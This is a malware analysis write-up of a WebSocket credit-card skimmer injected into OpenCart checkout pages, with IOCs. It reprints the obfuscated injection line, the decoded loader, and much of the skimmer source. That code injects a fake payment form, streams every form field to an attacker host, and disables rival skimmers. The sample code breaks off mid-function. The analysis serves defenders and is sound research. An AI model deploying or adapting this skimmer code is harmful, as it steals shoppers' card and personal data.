tags-manager.com - A WebSocket Skimmer That Brings Its Own Checkout Form

Table of Contents
This skimmer doesn’t wait for the store’s real payment fields. It adds its own payment form to the checkout page, and it uses a wss:// WebSocket to steal everything the shopper types, not only the card number.
Stage 1: eval(atob())#
The injection is a single line placed into the site’s HTML:
<script>eval(atob("DQp2YXIgcyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJ2hlYWQnKTsNCnZhciBzYyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOw0Kc2Muc3JjPSAiaHR0cHM6Ly90YWdzLW1hbmFnZXIuY29tL2d0YWdzL3NjcmlwdDI/dXRtX3JlZmVyZXI9P3V0bV9zb3VyY2U9JnV0bV9jb250ZW50PSZ1dG1fcmVmZXJlcj0iK2xvY2F0aW9uLmhvc3RuYW1lOw0Kcy5hcHBlbmRDaGlsZChzYyk7"))</script>
Decoded:
var s = document.querySelector('head');
var sc = document.createElement('script');
sc.src= "hxxps://tags-manager[.]com/gtags/script2?utm_referer=?utm_source=&utm_content=&utm_referer="+location.hostname;
s.appendChild(sc);
The domain name and the /gtags/ path are chosen to look like Google Tag Manager. The victim’s location.hostname is sent along as a fake utm_referer parameter, so the server knows which store is asking.
Stage 2: The Skimmer#
The response from tags-manager[.]com is generated per victim site. The values at the top are filled in by the server:
(function() {
var sid = '212de5d2275c6838a31636b442d8f08b';
var ip = '127.0.0.1';
var site_id = '52';
var translate = {"Pay with Credit or Debit Card":"Pay with Credit or Debit Card", ... };
var host = '//tags-manager.com/compare';
var form_html = 'PHN0eWxlIHR5cGU9InRleHQvY3NzIj4g...';
site_idis the attacker’s internal ID for the infected store (52 here).sidis a session ID per victim, cached inlocalStoragefor one hour.translatelets the operator localize the fake form for each store.form_htmlis about 33 KB of base64 that holds the fake payment form.
Getting the victim’s IP from Cloudflare#
Instead of relying on its own server, the skimmer gets the shopper’s public IP from Cloudflare’s trace endpoint. Requests to cloudflare[.]com look harmless in any network log:
request_cf.open('GET', 'hxxps://www[.]cloudflare[.]com/cdn-cgi/trace', true);
request_cf.onload = function() {
...
var cf_ip = parsed['ip'];
ip = cf_ip;
...
setWithExpiryMy(site_id+'myip', ip, 3600000);
};
Only on checkout-like pages#
The WebSocket only connects when the URL looks like a payment, cart, account, or login page. The keyword list is in English, French, Turkish, and Spanish:
var locationRegex = document.location.href.match(/pay|card|payment|basket|order|checkout|cart|panier|inscription|account|sepetim|siparisi|login|register|sign|pedido|carrito/i);
if (locationRegex == null) {
return;
}
if (document.location.pathname.match(/basketbol/i) !== null) {
return;
}
The basketbol exception (Turkish for basketball) is a nice touch. At least one victim store must have had a basketball category that kept matching basket.
WebSocket Exfiltration#
Once on a matching page, the skimmer opens wss://tags-manager[.]com/compare, sends a ping every 5 seconds to keep it alive, and hooks every input, select, textarea, form, and button on the page:
item.addEventListener("blur", emit);
item.addEventListener('change', emit);
...
function emit() {
var data = JSON.stringify({
data: serialize_all(),
site_id: site_id,
sid: sid,
ip: ip,
});
if (last_sended != data) {
last_sended = data;
if (wssocket) {
wssocket.send(data);
}
}
}
serialize_all() grabs the name and value of every field on the page. Each time the shopper leaves a field, the attacker gets a fresh snapshot of the whole form: name, address, phone, email, password, card data. Many detection tools still focus on skimmers that send a POST or load an image beacon, and a WebSocket stream is much less noisy than either.
The Fake Payment Form#
The skimmer polls every 300 ms for #button-payment-method, the OpenCart “Continue” button on the payment method step. When it appears, the decoded form_html is prepended above it:
if(!already_showed && document.querySelector('#button-payment-method') && !document.querySelector('#checkout-form-card')) {
var div = document.createElement('div');
div.innerHTML = form_html;
var s = document.querySelector('#button-payment-method').parentNode;
s.parentNode.prepend(div);
form_show();
The form shows Visa/Mastercard logos and a lock icon, and asks for:
mycc_email, mycc_first_name, mycc_last_name, card_num, exp_my_value, cvv2
It even includes a bundled copy of Cleave.js for real-time card number formatting and validation, so it behaves like a real payment widget. On submit, the form fakes a spinner for 4 seconds and then shows:
Sorry. We can not process your payment. Please select a different payment method.
The fields have already been sent over the WebSocket by this point. The shopper then picks a real payment method and completes the order, so the store gets paid and neither side notices anything wrong.
Killing the Competition#
This was my favorite part of the sample. Every 100 ms the skimmer checks for global functions named GetData, Default_Send, CheckFields, and SendData, and replaces them with empty functions:
setInterval(setNullMethods, 100);
function setNullMethods() {
if (typeof(window.GetData) != 'undefined') {
window.GetData = function(elem, flag) {};
}
if (typeof(window.Default_Send) != 'undefined') {
window.Default_Send = function(elem, flag) {};
}
if (typeof(window.CheckFields) != 'undefined') {
window.CheckFields = function(elem, flag) {};
}
if (typeof window.SendData != 'undefined') {
window.SendData = function() {};
}
}
None of these are OpenCart functions. They’re the exfil function names used by other common skimmer kits. The operator expects that stores they infect are often already infected by someone else, so the skimmer disables the rival skimmer so the card data only goes to one place.
Prior Research#
This sample was collected in November 2020, the same month Akamai published their write-up on this skimmer family (“A New Skimmer Uses WebSockets and a Fake Credit Card Form to Steal Sensitive Data”). Their post is worth reading alongside this one. My focus here is the per-site configuration, the basketbol exclusion, and the code that takes out rival skimmers.
IOCs#
tags-manager[.]com
hxxps://tags-manager[.]com/gtags/script2?utm_referer=...
wss://tags-manager[.]com/compare
localStorage keys: <site_id>mysid, <site_id>myip
DOM: #checkout-form-card, inputs mycc_email / card_num / exp_my_value / cvv2
Sample#
Stage 1 - injection
<script>eval(atob("DQp2YXIgcyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJ2hlYWQnKTsNCnZhciBzYyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOw0Kc2Muc3JjPSAiaHR0cHM6Ly90YWdzLW1hbmFnZXIuY29tL2d0YWdzL3NjcmlwdDI/dXRtX3JlZmVyZXI9P3V0bV9zb3VyY2U9JnV0bV9jb250ZW50PSZ1dG1fcmVmZXJlcj0iK2xvY2F0aW9uLmhvc3RuYW1lOw0Kcy5hcHBlbmRDaGlsZChzYyk7"))</script>Stage 2 - tags-manager[.]com/gtags/script2 (form HTML truncated)
(function() {
var sid = '212de5d2275c6838a31636b442d8f08b';
var ip = '127.0.0.1';
var site_id = '52';
var translate = {"Pay with Credit or Debit Card":"Pay with Credit or Debit Card","Please check your email address":"Please check your email address","Please check the cardholder first name":"Please check the cardholder first name","Please check the cardholder last name":"Please check the cardholder last name","Please check your card number":"Please check your card number","Please check your card expiry date":"Please check your card expiry date","Please check your card CVV":"Please check your card CVV","Sorry. We can not process your payment. Please select a different payment method.":"Sorry. We can not process your payment. Please select a different payment method.","Back":"Back","Pay":"Pay"};
var host = '//tags-manager.com/compare';
var form_html = 'PHN0eWxlIHR5cGU9InRleHQvY3NzIj4gLnpYaGtSSVJ4S3pOaGRIUnRSRmhQaENaZ29haSB7fSAuQlNJ...[33,268 bytes of base64 form HTML truncated]';
form_html = atob(form_html);
Object.keys(translate).forEach(function(key) {
form_html = form_html.replace('>'+key+'<', '>'+translate[key]+'<')
});
function setWithExpiryMy(key, value, ttl) {
const now = new Date()
const item = {
value: value,
expiry: now.getTime() + ttl,
}
localStorage.setItem(key, JSON.stringify(item))
}
function getWithExpiryMy(key) {
try {
const itemStr = localStorage.getItem(key)
if (!itemStr) {
return null
}
const item = JSON.parse(itemStr)
const now = new Date()
if (now.getTime() > item.expiry) {
localStorage.removeItem(key)
return null
}
return item.value
} catch {
return null;
}
}
if (getWithExpiryMy(site_id+'mysid') === null) {
setWithExpiryMy(site_id+'mysid', sid, 3600000);
} else {
sid = getWithExpiryMy(site_id+'mysid');
}
if (getWithExpiryMy(site_id+'myip') === null) {
var request_cf = new XMLHttpRequest();
request_cf.open('GET', 'hxxps://www[.]cloudflare[.]com/cdn-cgi/trace', true);
request_cf.onload = function() {
var parsed = {};
this.response.split('\n').forEach(function(v) {
var d = v.split('=');
if (d.length == 2) {
parsed[d[0]] = d[1];
}
});
var cf_ip = parsed['ip'];
ip = cf_ip;
if (typeof my_4444callback === "function") {
my_4444callback(ip);
}
setWithExpiryMy(site_id+'myip', ip, 3600000);
};
request_cf.onerror = function() {};
request_cf.send();
} else {
ip = getWithExpiryMy(site_id+'myip');
if (typeof my_4444callback === "function") {
my_4444callback(ip);
}
}
function form_show() {
var commonjsGlobal="undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{},NumeralFormatter=function(e,t,r,i,n,a,l,o,s,c){var m=this;m.numeralDecimalMark=e||".",m.numeralIntegerScale=0<t?t:0,m.numeralDecimalScale=0<=r?r:2,m.numeralThousandsGroupStyle=i||NumeralFormatter.groupStyle.thousand,m.numeralPositiveOnly=!!n,m.stripLeadingZeroes=!1!==a,m.prefix=l||""===l?l:"",m.signBeforePrefix=!!o,m.tailPrefix=!!s,m.delimiter=c||""===c?c:",",m.delimiterRE=c?new RegExp("\\"+c,"g"):""};NumeralFormatter.groupStyle={thousand:"thousand",lakh:"lakh",wan:"wan",none:"none"},NumeralFormatter.prototype={getRawValue:function(e){return e.replace(this.delimiterRE,"").replace(this.numeralDecimalMark,".")},format:function(e){var t,r,i,n,a=this,l="";switch(e=e.replace(/[A-Za-z]/g,"").replace(a.numeralDecimalMark,"M").replace(/[^\dM-]/g,"").replace(/^\-/,"N").replace(/\-/g,"").replace("N",a.numeralPositiveOnly?"":"-").replace("M",a.numeralDecimalMark),a.stripLeadingZeroes&&(e=e.replace(/^(-)?0+(?=\d)/,"$1")),r="-"===e.slice(0,1)?"-":"",i=void 0!==a.prefix?a.signBeforePrefix?r+a.prefix:a.prefix+r:r,0<=(n=e).indexOf(a.numeralDecimalMark)&&(n=(t=e.split(a.numeralDecimalMark))[0],l=a.numeralDecimalMark+t[1].slice(0,a.numeralDecimalScale)),"-"==r&&(n=n.slice(1)),0<a.numeralIntegerScale&&(n=n.slice(0,a.numeralIntegerScale)),a.numeralThousandsGroupStyle){case NumeralFormatter.groupStyle.lakh:n=n.replace(/(\d)(?=(\d\d)+\d$)/g,"$1"+a.delimiter);break;case NumeralFormatter.groupStyle.wan:n=n.replace(/(\d)(?=(\d{4})+$)/g,"$1"+a.delimiter);break;case NumeralFormatter.groupStyle.thousand:n=n.replace(/(\d)(?=(\d{3})+$)/g,"$1"+a.delimiter)}return a.tailPrefix?r+n.toString()+(0<a.numeralDecimalScale?l.toString():"")+a.prefix:i+n.toString()+(0<a.numeralDecimalScale?l.toString():"")}};var NumeralFormatter_1=NumeralFormatter,DateFormatter=function(e,t,r){var i=this;i.date=[],i.blocks=[],i.datePattern=e,i.dateMin=t.split("-").reverse().map(function(e){return parseInt(e,10)}),2===i.dateMin.length&&i.dateMin.unshift(0),i.dateMax=r.split("-").reverse().map(function(e){return parseInt(e,10)}),2===i.dateMax.length&&i.dateMax.unshift(0),i.initBlocks()};DateFormatter.prototype={initBlocks:function(){var t=this;t.datePattern.forEach(function(e){"Y"===e?t.blocks.push(4):t.blocks.push(2)})},getISOFormatDate:function(){var e=this,t=e.date;return t[2]?t[2]+"-"+e.addLeadingZero(t[1])+"-"+e.addLeadingZero(t[0]):""},getBlocks:function(){return this.blocks},getValidatedDate:function(a){var l=this,o="";return a=a.replace(/[^\d]/g,""),l.blocks.forEach(function(e,t){if(0<a.length){var r=a.slice(0,e),i=r.slice(0,1),n=a.slice(e);switch(l.datePattern[t]){case"d":"00"===r?r="01":3<parseInt(i,10)?r="0"+i:31<parseInt(r,10)&&(r="31");break;case"m":"00"===r?r="01":1<parseInt(i,10)?r="0"+i:12<parseInt(r,10)&&(r="12")}o+=r,a=n}}),this.getFixedDateString(o)},getFixedDateString:function(e){var t,r,i,n=this,a=n.datePattern,l=[],o=0,s=0,c=0,m=0,u=0,d=0,p=!1;return 4===e.length&&"y"!==a[0].toLowerCase()&&"y"!==a[1].toLowerCase()&&(u=2-(m="d"===a[0]?0:2),t=parseInt(e.slice(m,m+2),10),r=parseInt(e.slice(u,u+2),10),l=this.getFixedDate(t,r,0)),8===e.length&&(a.forEach(function(e,t){switch(e){case"d":o=t;break;case"m":s=t;break;default:c=t}}),d=2*c,m=o<=c?2*o:2*o+2,u=s<=c?2*s:2*s+2,t=parseInt(e.slice(m,m+2),10),r=parseInt(e.slice(u,u+2),10),i=parseInt(e.slice(d,d+4),10),p=4===e.slice(d,d+4).length,l=this.getFixedDate(t,r,i)),4!==e.length||"y"!==a[0]&&"y"!==a[1]||(d=2-(u="m"===a[0]?0:2),r=parseInt(e.slice(u,u+2),10),i=parseInt(e.slice(d,d+2),10),p=2===e.slice(d,d+2).length,l=[0,r,i]),6!==e.length||"Y"!==a[0]&&"Y"!==a[1]||(d=2-.5*(u="m"===a[0]?0:4),r=parseInt(e.slice(u,u+2),10),i=parseInt(e.slice(d,d+4),10),p=4===e.slice(d,d+4).length,l=[0,r,i]),l=n.getRangeFixedDate(l),0===(n.date=l).length?e:a.reduce(function(e,t){switch(t){case"d":return e+(0===l[0]?"":n.addLeadingZero(l[0]));case"m":return e+(0===l[1]?"":n.addLeadingZero(l[1]));case"y":return e+(p?n.addLeadingZeroForYear(l[2],!1):"");case"Y":return e+(p?n.addLeadingZeroForYear(l[2],!0):"")}},"")},getRangeFixedDate:function(e){var t=this.datePattern,r=this.dateMin||[],i=this.dateMax||[];return!e.length||r.length<3&&i.length<3||t.find(function(e){return"y"===e.toLowerCase()})&&0===e[2]?e:i.length&&(i[2]<e[2]||i[2]===e[2]&&(i[1]<e[1]||i[1]===e[1]&&i[0]<e[0]))?i:r.length&&(r[2]>e[2]||r[2]===e[2]&&(r[1]>e[1]||r[1]===e[1]&&r[0]>e[0]))?r:e},getFixedDate:function(e,t,r){return e=Math.min(e,31),t=Math.min(t,12),r=parseInt(r||0,10),(t<7&&t%2==0||8<t&&t%2==1)&&(e=Math.min(e,2===t?this.isLeapYear(r)?29:28:30)),[e,t,r]},isLeapYear:function(e){return e%4==0&&e%100!=0||e%400==0},addLeadingZero:function(e){return(e<10?"0":"")+e},addLeadingZeroForYear:function(e,t){return t?(e<10?"000":e<100?"00":e<1e3?"0":"")+e:(e<10?"0":"")+e}};var DateFormatter_1=DateFormatter,TimeFormatter=function(e,t){var r=this;r.time=[],r.blocks=[],r.timePattern=e,r.timeFormat=t,r.initBlocks()};TimeFormatter.prototype={initBlocks:function(){var e=this;e.timePattern.forEach(function(){e.blocks.push(2)})},getISOFormatTime:function(){var e=this.time;return e[2]?this.addLeadingZero(e[0])+":"+this.addLeadingZero(e[1])+":"+this.addLeadingZero(e[2]):""},getBlocks:function(){return this.blocks},getTimeFormatOptions:function(){return"12"===String(this.timeFormat)?{maxHourFirstDigit:1,maxHours:12,maxMinutesFirstDigit:5,maxMinutes:60}:{maxHourFirstDigit:2,maxHours:23,maxMinutesFirstDigit:5,maxMinutes:60}},getValidatedTime:function(a){var l=this,o="";a=a.replace(/[^\d]/g,"");var s=l.getTimeFormatOptions();return l.blocks.forEach(function(e,t){if(0<a.length){var r=a.slice(0,e),i=r.slice(0,1),n=a.slice(e);switch(l.timePattern[t]){case"h":parseInt(i,10)>s.maxHourFirstDigit?r="0"+i:parseInt(r,10)>s.maxHours&&(r=s.maxHours+"");break;case"m":case"s":parseInt(i,10)>s.maxMinutesFirstDigit?r="0"+i:parseInt(r,10)>s.maxMinutes&&(r=s.maxMinutes+"")}o+=r,a=n}}),this.getFixedTimeString(o)},getFixedTimeString:function(e){var t,r,i,n=this,a=n.timePattern,l=[],o=0,s=0,c=0,m=0,u=0;return 6===e.length&&(a.forEach(function(e,t){switch(e){case"s":o=2*t;break;case"m":s=2*t;break;case"h":c=2*t}}),u=c,m=s,t=parseInt(e.slice(o,o+2),10),r=parseInt(e.slice(m,m+2),10),i=parseInt(e.slice(u,u+2),10),l=this.getFixedTime(i,r,t)),4===e.length&&n.timePattern.indexOf("s")<0&&(a.forEach(function(e,t){switch(e){case"m":s=2*t;break;case"h":c=2*t}}),u=c,m=s,t=0,r=parseInt(e.slice(m,m+2),10),i=parseInt(e.slice(u,u+2),10),l=this.getFixedTime(i,r,t)),0===(n.time=l).length?e:a.reduce(function(e,t){switch(t){case"s":return e+n.addLeadingZero(l[2]);case"m":return e+n.addLeadingZero(l[1]);case"h":return e+n.addLeadingZero(l[0])}},"")},getFixedTime:function(e,t,r){return r=Math.min(parseInt(r||0,10),60),t=Math.min(t,60),[e=Math.min(e,60),t,r]},addLeadingZero:function(e){return(e<10?"0":"")+e}};var TimeFormatter_1=TimeFormatter,PhoneFormatter=function(e,t){this.delimiter=t||""===t?t:" ",this.delimiterRE=t?new RegExp("\\"+t,"g"):"",this.formatter=e};PhoneFormatter.prototype={setFormatter:function(e){this.formatter=e},format:function(e){this.formatter.clear();for(var t,r="",i=!1,n=0,a=(e=(e=(e=e.replace(/[^\d+]/g,"")).replace(/^\+/,"B").replace(/\+/g,"").replace("B","+")).replace(this.delimiterRE,"")).length;n<a;n++)t=this.formatter.inputDigit(e.charAt(n)),/[\s()-]/g.test(t)?(r=t,i=!0):i||(r=t);return r=(r=r.replace(/[()]/g,"")).replace(/[\s-]/g,this.delimiter)}};var PhoneFormatter_1=PhoneFormatter,CreditCardDetector={blocks:{uatp:[4,5,6],amex:[4,6,5],diners:[4,6,4],discover:[4,4,4,4],mastercard:[4,4,4,4],dankort:[4,4,4,4],instapayment:[4,4,4,4],jcb15:[4,6,5],jcb:[4,4,4,4],maestro:[4,4,4,4],visa:[4,4,4,4],mir:[4,4,4,4],unionPay:[4,4,4,4],general:[4,4,4,4]},re:{uatp:/^(?!1800)1\d{0,14}/,amex:/^3[47]\d{0,13}/,discover:/^(?:6011|65\d{0,2}|64[4-9]\d?)\d{0,12}/,diners:/^3(?:0([0-5]|9)|[689]\d?)\d{0,11}/,mastercard:/^(5[1-5]\d{0,2}|22[2-9]\d{0,1}|2[3-7]\d{0,2})\d{0,12}/,dankort:/^(5019|4175|4571)\d{0,12}/,instapayment:/^63[7-9]\d{0,13}/,jcb15:/^(?:2131|1800)\d{0,11}/,jcb:/^(?:35\d{0,2})\d{0,12}/,maestro:/^(?:5[0678]\d{0,2}|6304|67\d{0,2})\d{0,12}/,mir:/^220[0-4]\d{0,12}/,visa:/^4\d{0,15}/,unionPay:/^(62|81)\d{0,14}/},getStrictBlocks:function(e){var t=e.reduce(function(e,t){return e+t},0);return e.concat(19-t)},getInfo:function(e,t){var r=CreditCardDetector.blocks,i=CreditCardDetector.re;for(var n in t=!!t,i)if(i[n].test(e)){var a=r[n];return{type:n,blocks:t?this.getStrictBlocks(a):a}}return{type:"unknown",blocks:t?this.getStrictBlocks(r.general):r.general}}},CreditCardDetector_1=CreditCardDetector,Util={noop:function(){},strip:function(e,t){return e.replace(t,"")},getPostDelimiter:function(t,e,r){if(0===r.length)return t.slice(-e.length)===e?e:"";var i="";return r.forEach(function(e){t.slice(-e.length)===e&&(i=e)}),i},getDelimiterREByDelimiter:function(e){return new RegExp(e.replace(/([.?*+^$[\]\\(){}|-])/g,"\\$1"),"g")},getNextCursorPosition:function(e,t,r,i,n){return t.length===e?r.length:e+this.getPositionOffset(e,t,r,i,n)},getPositionOffset:function(e,t,r,i,n){var a=this.stripDelimiters(t.slice(0,e),i,n),l=this.stripDelimiters(r.slice(0,e),i,n),o=a.length-l.length;return 0!=o?o/Math.abs(o):0},stripDelimiters:function(t,e,r){var i=this;if(0!==r.length)return r.forEach(function(e){e.split("").forEach(function(e){t=t.replace(i.getDelimiterREByDelimiter(e),"")})}),t;var n=e?i.getDelimiterREByDelimiter(e):"";return t.replace(n,"")},headStr:function(e,t){return e.slice(0,t)},getMaxLength:function(e){return e.reduce(function(e,t){return e+t},0)},getPrefixStrippedValue:function(e,t,r,i,n,a,l,o,s){if(0===r)return e;if(e===t&&""!==e)return"";if(s&&"-"==e.slice(0,1)){var c="-"==i.slice(0,1)?i.slice(1):i;return"-"+this.getPrefixStrippedValue(e.slice(1),t,r,c,n,a,l,o,s)}if(i.slice(0,r)!==t&&!o)return l&&!i&&e?e:"";if(i.slice(-r)!==t&&o)return l&&!i&&e?e:"";var m=this.stripDelimiters(i,n,a);return e.slice(0,r)===t||o?e.slice(-r)!==t&&o?m.slice(0,-r-1):o?e.slice(0,-r):e.slice(r):m.slice(r)},getFirstDiffIndex:function(e,t){for(var r=0;e.charAt(r)===t.charAt(r);)if(""===e.charAt(r++))return-1;return r},getFormattedValue:function(n,e,a,l,o,s){var c="",m=0<o.length,u="";return 0===a?n:(e.forEach(function(e,t){var r,i;0<n.length&&(r=n.slice(0,e),i=n.slice(e),u=m?o[s?t-1:t]||u:l,s?(0<t&&(c+=u),c+=r):(c+=r,r.length===e&&t<a-1&&(c+=u)),n=i)}),c)},fixPrefixCursor:function(e,t,r,i){var n,a,l;e&&(n=e.value,a=r||i[0]||" ",!e.setSelectionRange||!t||t.length+a.length<=n.length||(l=2*n.length,setTimeout(function(){e.setSelectionRange(l,l)},1)))},checkFullSelection:function(e){try{return(window.getSelection()||document.getSelection()||{}).toString().length===e.length}catch(e){}return!1},setSelection:function(e,t,r){if(e===this.getActiveElement(r)&&!(e&&e.value.length<=t))if(e.createTextRange){var i=e.createTextRange();i.move("character",t),i.select()}else try{e.setSelectionRange(t,t)}catch(e){console.warn("The input element type does not support selection")}},getActiveElement:function(e){var t=e.activeElement;return t&&t.shadowRoot?this.getActiveElement(t.shadowRoot):t},isAndroid:function(){return navigator&&/android/i.test(navigator.userAgent)},isAndroidBackspaceKeydown:function(e,t){return!!(this.isAndroid()&&e&&t)&&t===e.slice(0,-1)}},Util_1=Util,DefaultProperties={assign:function(e,t){return(e=e||{}).creditCard=!!(t=t||{}).creditCard,e.creditCardStrictMode=!!t.creditCardStrictMode,e.creditCardType="",e.onCreditCardTypeChanged=t.onCreditCardTypeChanged||function(){},e.phone=!!t.phone,e.phoneRegionCode=t.phoneRegionCode||"AU",e.phoneFormatter={},e.time=!!t.time,e.timePattern=t.timePattern||["h","m","s"],e.timeFormat=t.timeFormat||"24",e.timeFormatter={},e.date=!!t.date,e.datePattern=t.datePattern||["d","m","Y"],e.dateMin=t.dateMin||"",e.dateMax=t.dateMax||"",e.dateFormatter={},e.numeral=!!t.numeral,e.numeralIntegerScale=0<t.numeralIntegerScale?t.numeralIntegerScale:0,e.numeralDecimalScale=0<=t.numeralDecimalScale?t.numeralDecimalScale:2,e.numeralDecimalMark=t.numeralDecimalMark||".",e.numeralThousandsGroupStyle=t.numeralThousandsGroupStyle||"thousand",e.numeralPositiveOnly=!!t.numeralPositiveOnly,e.stripLeadingZeroes=!1!==t.stripLeadingZeroes,e.signBeforePrefix=!!t.signBeforePrefix,e.tailPrefix=!!t.tailPrefix,e.swapHiddenInput=!!t.swapHiddenInput,e.numericOnly=e.creditCard||e.date||!!t.numericOnly,e.uppercase=!!t.uppercase,e.lowercase=!!t.lowercase,e.prefix=!e.creditCard&&!e.date&&t.prefix||"",e.noImmediatePrefix=!!t.noImmediatePrefix,e.prefixLength=e.prefix.length,e.rawValueTrimPrefix=!!t.rawValueTrimPrefix,e.copyDelimiter=!!t.copyDelimiter,e.initValue=void 0!==t.initValue&&null!==t.initValue?t.initValue.toString():"",e.delimiter=t.delimiter||""===t.delimiter?t.delimiter:t.date?"/":t.time?":":t.numeral?",":(t.phone," "),e.delimiterLength=e.delimiter.length,e.delimiterLazyShow=!!t.delimiterLazyShow,e.delimiters=t.delimiters||[],e.blocks=t.blocks||[],e.blocksLength=e.blocks.length,e.root="object"==typeof commonjsGlobal&&commonjsGlobal?commonjsGlobal:window,e.document=t.document||e.root.document,e.maxLength=0,e.backspace=!1,e.result="",e.onValueChanged=t.onValueChanged||function(){},e}},DefaultProperties_1=DefaultProperties,Cleave=function(e,t){var r=this,i=!1;if("string"==typeof e?(r.element=document.querySelector(e),i=1<document.querySelectorAll(e).length):void 0!==e.length&&0<e.length?(r.element=e[0],i=1<e.length):r.element=e,!r.element)throw new Error("[cleave.js] Please check the element");if(i)try{console.warn("[cleave.js] Multiple input fields matched, cleave.js will only take the first one.")}catch(e){}t.initValue=r.element.value,r.properties=Cleave.DefaultProperties.assign({},t),r.init()};Cleave.prototype={init:function(){var e=this,t=e.properties;t.numeral||t.phone||t.creditCard||t.time||t.date||0!==t.blocksLength||t.prefix?(t.maxLength=Cleave.Util.getMaxLength(t.blocks),e.isAndroid=Cleave.Util.isAndroid(),e.lastInputValue="",e.isBackward="",e.onChangeListener=e.onChange.bind(e),e.onKeyDownListener=e.onKeyDown.bind(e),e.onFocusListener=e.onFocus.bind(e),e.onCutListener=e.onCut.bind(e),e.onCopyListener=e.onCopy.bind(e),e.initSwapHiddenInput(),e.element.addEventListener("input",e.onChangeListener),e.element.addEventListener("keydown",e.onKeyDownListener),e.element.addEventListener("focus",e.onFocusListener),e.element.addEventListener("cut",e.onCutListener),e.element.addEventListener("copy",e.onCopyListener),e.initPhoneFormatter(),e.initDateFormatter(),e.initTimeFormatter(),e.initNumeralFormatter(),(t.initValue||t.prefix&&!t.noImmediatePrefix)&&e.onInput(t.initValue)):e.onInput(t.initValue)},initSwapHiddenInput:function(){var e,t=this;t.properties.swapHiddenInput&&(e=t.element.cloneNode(!0),t.element.parentNode.insertBefore(e,t.element),t.elementSwapHidden=t.element,t.elementSwapHidden.type="hidden",t.element=e,t[.]element[.]id="")},initNumeralFormatter:function(){var e=this.properties;e.numeral&&(e.numeralFormatter=new Cleave.NumeralFormatter(e.numeralDecimalMark,e.numeralIntegerScale,e.numeralDecimalScale,e.numeralThousandsGroupStyle,e.numeralPositiveOnly,e.stripLeadingZeroes,e.prefix,e.signBeforePrefix,e.tailPrefix,e.delimiter))},initTimeFormatter:function(){var e=this.properties;e.time&&(e.timeFormatter=new Cleave.TimeFormatter(e.timePattern,e.timeFormat),e.blocks=e.timeFormatter.getBlocks(),e.blocksLength=e.blocks.length,e.maxLength=Cleave.Util.getMaxLength(e.blocks))},initDateFormatter:function(){var e=this.properties;e.date&&(e.dateFormatter=new Cleave.DateFormatter(e.datePattern,e.dateMin,e.dateMax),e.blocks=e.dateFormatter.getBlocks(),e.blocksLength=e.blocks.length,e.maxLength=Cleave.Util.getMaxLength(e.blocks))},initPhoneFormatter:function(){var e=this.properties;if(e.phone)try{e.phoneFormatter=new Cleave.PhoneFormatter(new e.root.Cleave.AsYouTypeFormatter(e.phoneRegionCode),e.delimiter)}catch(e){throw new Error("[cleave.js] Please include phone-type-formatter.{country}.js lib")}},onKeyDown:function(e){var t=e.which||e.keyCode;this.lastInputValue=this.element.value,this.isBackward=8===t},onChange:function(e){var t=this,r=t.properties,i=Cleave.Util;t.isBackward=t.isBackward||"deleteContentBackward"===e.inputType;var n=i.getPostDelimiter(t.lastInputValue,r.delimiter,r.delimiters);t.isBackward&&n?r.postDelimiterBackspace=n:r.postDelimiterBackspace=!1,this.onInput(this.element.value)},onFocus:function(){var e=this,t=e.properties;e.lastInputValue=e.element.value,t.prefix&&t.noImmediatePrefix&&!e.element.value&&this.onInput(t.prefix),Cleave.Util.fixPrefixCursor(e.element,t.prefix,t.delimiter,t.delimiters)},onCut:function(e){Cleave.Util.checkFullSelection(this.element.value)&&(this.copyClipboardData(e),this.onInput(""))},onCopy:function(e){Cleave.Util.checkFullSelection(this.element.value)&&this.copyClipboardData(e)},copyClipboardData:function(e){var t=this.properties,r=Cleave.Util,i=this.element.value,n="",n=t.copyDelimiter?i:r.stripDelimiters(i,t.delimiter,t.delimiters);try{e.clipboardData?e.clipboardData.setData("Text",n):window.clipboardData.setData("Text",n),e.preventDefault()}catch(e){}},onInput:function(e){var t=this,r=t.properties,i=Cleave.Util,n=i.getPostDelimiter(e,r.delimiter,r.delimiters);return r.numeral||!r.postDelimiterBackspace||n||(e=i.headStr(e,e.length-r.postDelimiterBackspace.length)),r.phone?(!r.prefix||r.noImmediatePrefix&&!e.length?r.result=r.phoneFormatter.format(e):r.result=r.prefix+r.phoneFormatter.format(e).slice(r.prefix.length),void t.updateValueState()):r.numeral?(r.prefix&&r.noImmediatePrefix&&0===e.length?r.result="":r.result=r.numeralFormatter.format(e),void t.updateValueState()):(r.date&&(e=r.dateFormatter.getValidatedDate(e)),r.time&&(e=r.timeFormatter.getValidatedTime(e)),e=i.stripDelimiters(e,r.delimiter,r.delimiters),e=i.getPrefixStrippedValue(e,r.prefix,r.prefixLength,r.result,r.delimiter,r.delimiters,r.noImmediatePrefix,r.tailPrefix,r.signBeforePrefix),e=r.numericOnly?i.strip(e,/[^\d]/g):e,e=r.uppercase?e.toUpperCase():e,e=r.lowercase?e.toLowerCase():e,r.prefix&&(r.tailPrefix?e+=r.prefix:e=r.prefix+e,0===r.blocksLength)?r.result=e:(r.creditCard&&t.updateCreditCardPropsByValue(e),e=i.headStr(e,r.maxLength),r.result=i.getFormattedValue(e,r.blocks,r.blocksLength,r.delimiter,r.delimiters,r.delimiterLazyShow)),void t.updateValueState())},updateCreditCardPropsByValue:function(e){var t,r=this.properties,i=Cleave.Util;i.headStr(r.result,4)!==i.headStr(e,4)&&(t=Cleave.CreditCardDetector.getInfo(e,r.creditCardStrictMode),r.blocks=t.blocks,r.blocksLength=r.blocks.length,r.maxLength=i.getMaxLength(r.blocks),r.creditCardType!==t.type&&(r.creditCardType=t.type,r.onCreditCardTypeChanged.call(this,r.creditCardType)))},updateValueState:function(){var e,t,r,i=this,n=Cleave.Util,a=i.properties;i.element&&(r=i.element.selectionEnd,e=i.element.value,t=a.result,r=n.getNextCursorPosition(r,e,t,a.delimiter,a.delimiters),i.isAndroid?window.setTimeout(function(){i.element.value=t,n.setSelection(i.element,r,a.document,!1),i.callOnValueChanged()},1):(i.element.value=t,a.swapHiddenInput&&(i.elementSwapHidden.value=i.getRawValue()),n.setSelection(i.element,r,a.document,!1),i.callOnValueChanged()))},callOnValueChanged:function(){var 